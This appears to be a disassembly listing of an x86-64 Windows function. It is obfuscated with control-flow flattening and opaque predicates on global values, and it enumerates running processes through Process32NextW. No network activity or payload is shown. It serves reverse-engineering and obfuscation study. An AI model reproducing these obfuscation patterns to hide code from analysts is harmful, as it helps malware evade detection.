test bl, bl
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0x4273a38d
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf8cea4e6
mov eax, 0xb93b529
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x3a044c0a
mov eax, 0x10cf0944
cmovne ecx, eax
test dl, dl
cmovne ecx, eax
jmp 0x14000108d
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32NextW
add rsp, 0x20
mov ecx, 0xa391e20f
jmp 0x14000108d
cmp byte [rbp + 0x3b], 0
mov ecx, 0x4a86f791
mov eax, 0xba26e137
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0x1676a632
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfaf6d202
mov eax, 0x35b16a31
jmp 0x140001080
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov qword [rbp + 0x40], rax
mov ecx, 0x857d0f09
jmp 0x14000108d
mov ecx, 0xd1e49c80
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6bb37a98
mov eax, 0xdb927dea
jmp 0x140001080
mov ecx, 0x16e9826d
jmp 0x14000108d
mov rax, qword [rbp - 0x50]
cmp byte [rax + 2], 0
setne byte [rbp + 0x38]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe887c27e
mov eax, 0xcdcae279
jmp 0x140001080
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setl dl
mov ebx, edx
xor bl, r8b
mov eax, ebx
xor al, 1
or cl, dl
or dl, r8b
and dl, cl
and dl, al
xor dl, bl
mov ecx, 0x1ef8cf09
mov eax, 0x9235f3cd
cmovne ecx, eax
jmp 0x14000108d
mov ecx, 0x3073e162
jmp 0x14000108d
cmp ecx, 0xd2ac57b7
jne 0x14000108d
mov rcx, qword [rbp + 0x48]
xor rcx, rbp
sub rsp, 0x20
call fcn.140008a50
add rsp, 0x20
xor eax, eax
movaps xmm6, xmmword [rbp + 0x50]
lea rsp, [rbp + 0x68]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret